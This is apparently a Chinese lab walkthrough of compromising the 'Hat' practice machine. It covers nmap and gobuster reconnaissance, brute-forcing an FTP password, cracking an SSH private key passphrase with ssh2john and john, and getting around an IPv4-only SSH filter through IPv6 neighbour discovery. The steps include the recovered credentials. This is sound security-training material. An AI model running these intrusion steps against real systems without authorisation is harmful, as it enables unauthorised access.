Hat靶机的ip是192.168.200.8



先用nmap扫描一下靶机所有的端口

nmap -p- 192.168.200.8

发现22端口不知道是否开放

还有一个65535 的unkown端口




详细查看一下65535端口的信息

nmap -p 65535 -sV 192.168.200.8

貌似是个ftp 但是尝试匿名连接是连接不上去的




dirsearch扫描了一下80端口的web站点

发现有个logs




但是访问了一下发现啥都没有

于是又用dirsearch扫http://192.168.200.8/logs/发现还是啥都没有

完全懵逼了

看了wp才知道是自己的字典不够强大 上网github把字典下载了

换了一个工具

用gobuster来扫

发现了两个目录

接着扫logs下的目录

不过值得注意的是

gobuster.exe dir -w C:\Users\89135\Desktop\hacktool\fuzz\wordlists-main\wordlists-main\wordlists\discovery\directory_list_lowercase_2.3_medium.txt -u http://192.168.200.8/logs

是扫不出来其他内容的 很奇怪

要加一个 -x的参数 意思是指定扩展名 -x .log,.php 就是指定.log 和 .php结尾的文件

gobuster.exe dir -w C:\Users\89135\Desktop\hacktool\fuzz\wordlists-main\wordlists-main\wordlists\discovery\directory_list_lowercase_2.3_medium.txt -u http://192.168.200.8/ -x .log,.php



扫出来了个

http://192.168.200.8/logs/vsftpd.log

上网查了一下这个关键词vsftpd.log 是个ftp的登录日志

刚好里面有一个 admin_ftp登录成功了



这就和我们之前的 65535的ftp端口 联系 上了 意思很明显了 就是让我们爆破这个密码

爆破出来

cowboy

连接这个ftp

lftp 192.168.200.8 -p 65535 -u admin_ftp

观察里面的文件

熟悉ssh证书登录的应该知道这个是share文件里面的id_rsa是个私钥

把id_rsa文件复制到id中

cat id_rsa>id

再将id文件转化为hash文件

ssh2john id > hash

然后再用rockyou.txt字典爆破这个解开私钥的密码

john hash --wordlist=/root/Desktop/fuzz/rockyou.txt/rockyou.txt



密码是ilovemyself




那么接下来就分析了既然链ssh证书都有 那么这个22端口大概率是开放的 但是nmap 扫22的时候被过滤了

那么我们怎么绕过呢

可以ipv6来绕过 因为他可能过滤了ipv4但是没有过滤ipv6

ping6 -c2 -n -I eth0 ff02::1 发广播 网段内所有的ipv6地址ping一遍我们就能在里面找到 靶机的ipv6了



找到了ipv6后之久nmap再扫一遍 就会发现他的22端口其实就是开着的



接下来我们就可以用ipv6的地址去连接他的ssh了

我们得先修改一下id文件的权限 不然连接时会报错

chmod 600 id

然后

ssh -i id cromiphi@fe80::20c:29ff:fed7:fd6a%eth0



拿下

Hat靶机的更多相关文章

  1. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  2. KALI Linux problems & Study Red Hat | Ubuntu

    Problem When you ask some website with https head.you may met the problem  secure connection failed ...

  3. Red Hat Enterprise Server 6.0 安装Sendmail相关包

    由于需要在Linux服务器(Red Hat Enterprise Linux Server release 6.0)上配置邮件服务,需要安装Sendmail包,一般Sendmail的安装有两种方式:R ...

  4. Red Hat Enterprise Linux 6.6安装体验

    Red Hat Enterprise Linux 6.6的安装首界面有五个选项,这跟以前的Red Hat Enterprise Linux 5.x的安装界面是有一些区别的.   安装或者升级现有系统( ...

  5. Red Hat Enterprise Linux 各个版本以及发布日期

    Red Hat Enterprise Linux 7 Release/Update General Availability Date redhat-release Errata Date* Kern ...

  6. linux red hat 给普通用户开启root权限

    环境:虚拟机:red hat 6.5:root角色用户:普通用户:宏基笔记本:win7: 操作过程: 1.登录普通用户,进入图形界面(可以设置为启动登录进入命令行界面): 2.按Crl+ALT+F2进 ...

  7. 使用 KGDB 调试 Kernel On Red Hat Linux

    1. KGDB 简介         KGDB  提供了一种使用 GDB 调试 Linux 内核的机制.使用 KGDB 可以象调试普通的应用程序那样,在内核中进行设置断点.检查变量值.单步跟踪程序运行 ...

  8. Red hat 6.4下面的qt安装

    运行环境:Red hat 6.4 去官网下载qt5.2并且安装 当启动的时候会出现如下错误 核心载入失败: /opt/Qt5.2.0/Tools/QtCreator/lib/qtcreator/plu ...

  9. Red Hat Enterprise Server 5.8+oracle10g(中文界面)安装

    Red Hat Enterprise Server 5.8+oracle10g(中文界面)安装 VMware workstation10(虚拟机)下面安装红帽企业版5.8 创建虚拟机 新建虚拟机,选择 ...

  10. 如何安装win10+Red Hat Enterprise Linux双系统?

    1,如何安装win10+Red Hat Enterprise Linux双系统???? 有很多人(没做过调查,可能就我自己想装吧)想要安装Red Hat Enterprise Linux系统,但是又不 ...

随机推荐

  1. 在网页上调起本机C#程序

    前言 最近开始整理笔记里的库存草稿,本文是 23 年 5 月创建的了(因为中途转移到 onedrive,可能还不止) 网页调起电脑程序是经常用到的场景,比如百度网盘下载,加入 QQ 群之类的 我之前做 ...

  2. Codeforces Round 988 (Div. 3) E题解析

    E题 题目链接 Codeforces Round 988 (Div. 3) 题目描述 题目的思路 根据题目的意思,我们可以推断出算法时间复杂度应该在O(N) 对于这道题而言,我们可以分析下思路 首先我 ...

  3. php 安装使用 seaslog扩展

    这是一个高性能的日志记录扩展,能迅速帮你格式化的写入日志文件. 首先来看安装: sudo pecl install seaslog 一句话搞定,然后更新php.ini配置文件 添加启用以及一部分配置 ...

  4. Nuxt.js 应用中的 webpack:configResolved事件钩子

    title: Nuxt.js 应用中的 webpack:configResolved事件钩子 date: 2024/11/21 updated: 2024/11/21 author: cmdragon ...

  5. 读书笔记-C#8.0本质论-05

    18.3 基于任务的异步编程模式 18.3.1 使用任务并行库(TPL)实现异步执行高延迟操作 using System; using System.Net.Http; using System.Th ...

  6. linux模拟HID USB设备及wireshark USB抓包配置

    目录 1. 内核配置 2. 设备配置 附 wireshark USB抓包配置 笔者开发USB设备时的一些记录 1. 内核配置 内核启用USB Gadget,使用fs配置usb device信息. De ...

  7. 开源 - Ideal库 - Excel帮助类,设计思路(一)

    今天开始和大家分享关于Excel最长常用操作封装. 01.起因 市面上有很多Excel操作库,这些库设计之初的目标是提供对Excel的各种操作功能,包括数据.样式.公式.图表等等.而对于我们平时开发来 ...

  8. AI工具推荐——Cherry Studio

    Cherry Studio介绍 Cherry Studio是一款支持多模型服务的 Windows/macOS GPT 客户端. 它的主要特点如下: 多样化的大型语言模型提供商支持 ️ 主要的大型语言模 ...

  9. HTML5 进度条

    1. <progress>标签 进度条 value属性:规定进程的当前值.默认为0 max属性:规定需要完成的值. PS:这里没有最小值设置,或者说最小值一律为0 <progress ...

  10. nvm安装node.js无法使用

    前情 最近在使用某此第三方模块需要依赖不同的node版本,于是想通nvm来管理node版本 坑 网上下载nvm-window的安装包,一步步傻瓜式安装下去,发现nrm无法使用,设置环境变量也没有用,再 ...